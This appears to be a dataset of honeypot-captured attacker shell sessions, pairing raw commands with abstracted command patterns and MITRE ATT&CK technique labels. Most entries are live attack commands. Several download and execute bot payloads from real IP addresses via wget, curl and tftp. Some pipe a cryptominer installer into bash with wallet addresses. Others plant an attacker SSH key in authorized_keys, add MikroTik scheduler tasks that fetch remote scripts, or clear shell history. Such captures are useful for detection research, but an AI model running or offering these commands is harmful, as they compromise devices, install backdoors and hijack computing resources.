('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LVCTV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AMAXM


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JNQOI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GBRDN


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OBIOU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KCHWM


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MBXMD

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XQPCS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RMDSE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TBQJK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JVFOS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJKVO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ECORU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NHTHI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YEDWD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SLDDD


cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://65.21.189.187/zeros6x.sh; curl -O http://65.21.189.187/zeros6x.sh; chmod 777 zeros6x.sh; sh zeros6x.sh; tftp 65.21.189.187 -c get zeros6x.sh; chmod 777 zeros6x.sh; sh zeros6x.sh; tftp -r zeros6x2.sh -g 65.21.189.187; chmod 777 zeros6x2.sh; sh zeros6x2.sh; ftpget -v -u anonymous -p anonymous -P 21 65.21.189.187 zeros6x1.sh zeros6x1.sh; sh zeros6x1.sh; rm -rf zeros6x.sh zeros6x.sh zeros6x2.sh zeros6x1.sh; rm -rf *


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SKJJQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GAUGJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox THVZJ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KAVUF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GZXWC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ILJEE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RMBIK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HEMDF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KBYAH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AKKND


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JQTQU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VHGFZ


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/42cc3c6f-8d88-43bf-92eb-5027c913edc0 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://104.168.52.153/Ace.sh; chmod 777 Ace.sh; sh Ace.sh; tftp 104.168.52.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 104.168.52.153; chmod 777 tftp2.sh; sh tftp2.sh; rm -f tftp*.sh Ace.sh

('sh', 'cd ; wget ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -f')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YIPXU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RSIKB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CJIXU


cd /tmp;rm -rf ur0a.sh;wget http://206.81.26.46/ur0a.sh;chmod +x ur0a.sh;./ur0a.sh;sh ur0a.sh;rm -rf ur0a.sh;cd;history -c;

('sh', 'cd ; rm -rf ; wget ; chmod +x ; ./ ; sh ; rm -rf ; cd ; history -c ;', 'cd', 'rm', 'wget', 'wget')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OPMUX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GKZHV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HNWCG


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/511d6abb-1d86-4b1a-b2d0-a6489742624f mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DBOXU


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456

('uname', 'cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SUCJD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZKULR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UYIAK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FBXSZ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BTBKN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YLYCK


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LHJNI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EHINE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YGORI


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XTXVR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RVIPW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PSGMB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PAIUL


uname -a; cd /tmp ;curl -s -L http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 49UVbUeeWjV824vMb8z41M9BqLMxQSkz41pP76CFtkSuKfTwhRWw5MWE13rdB5uxerbnE8Rj2h2nvGAfEPuApn9bGNUV4UJ

('uname -a ; cd ; curl -s -L | bash -s',)

T1087 Account Discovery
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/a1834fbf-5a55-4702-a0af-d8d4cb201716 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/77010ee8-203e-4880-b25d-8befd402f873 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HNJZF

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CAELM


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/abe5c8c0-8c05-46e9-a491-0bfac80ac940 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /tmp; wget http://205.185.126.254/korpze_jaws.sh; curl -O http://205.185.126.254/korpze_jaws.sh; chmod 777 korpze_jaws.sh; sh korpze_jaws.sh; tftp 205.185.126.254 -c get korpze_jaws1.sh; chmod 777 korpze_jaws1.sh; sh korpze_jaws1.sh; tftp -r korpze_jaws2.sh -g 205.185.126.254; chmod 777 korpze_jaws2.sh; sh korpze_jaws2.sh; rm -rf korpze_jaws.sh korpze_jaws1.sh korpze_jaws2.sh

('cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf',)


enable
sh
shell
linuxshell
system
/bin/busybox CORONA

('enable', 'sh', 'shell', 'linuxshell', 'system', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VEMEK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SFBPM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JVWAJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZWODB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MWACB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CDMZX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WNGUX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TBNVC


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PKCHL

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MQRQF


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


enable
system
shell
sh
linuxshell
/bin/busybox TSUNAMI
/bin/busybox cat /bin/busybox

('enable', 'system', 'shell', 'sh', 'linuxshell', '/bin/busybox', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RFXTM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FIZUW


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/3b063b12-a5ac-4658-bdfc-b23145fe097d mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FSZTJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BVBXY


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/75f41f46-124c-4d71-83eb-054163ee84be mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DQBBV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SPBXM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSKXL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KTJJO


ls /home; ps aux; /bin/busybox gay; echo -en "\x6d\x69\x6e\x65\x72\x77\x6f\x72\x64"

('enable', 'admin', 'system', 'sh', '/bin/busybox', 'echo', 'ls ; ps ; /bin/busybox ; echo -en')

T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1059 Command and Scripting Interpreter
T1027 Obfuscated Files or Information
T1059 Command and Scripting Interpreter


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/6f22da68-3103-401d-8b46-7611eb6be8fc mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ERWZW

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KFNTP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JBJXT


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/053cbcc3-947e-4091-a616-9c4804413062 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


sh
bash
shell
enable
system
linuxshell
/bin/busybox BITCOIN

('sh', 'bash', 'shell', 'enable', 'system', 'linuxshell', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ICHAI


cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c; nvidia-smi --list-gpus | grep 0 | cut -f2 -d: | uniq -c

('cat | grep | cut -f2 -d: | uniq -c ; --list-gpus | grep | cut -f2 -d: | uniq -c',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KUBAM

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PECVB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SSDBN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BNCKG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SCCGX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NZWZP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IQGYN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SZWZZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NSVQS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDQVU


T1087 Account Discovery
T1082 System Information Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OFUJL


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WEQEJ


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DMYBV


cat /proc/cpuinfo | grep name | wc -l | head -c 30

('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l | head -c')


curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 45dNkjTQGgT77r9AEMyHdCGan5tpuekXaHFhFW99dQ8hUS35oZQEYXddFE52jxVdfUNrAD4ZyZ44BgHfgk5SjHdoLjGdJnQ

T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HDDEE


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


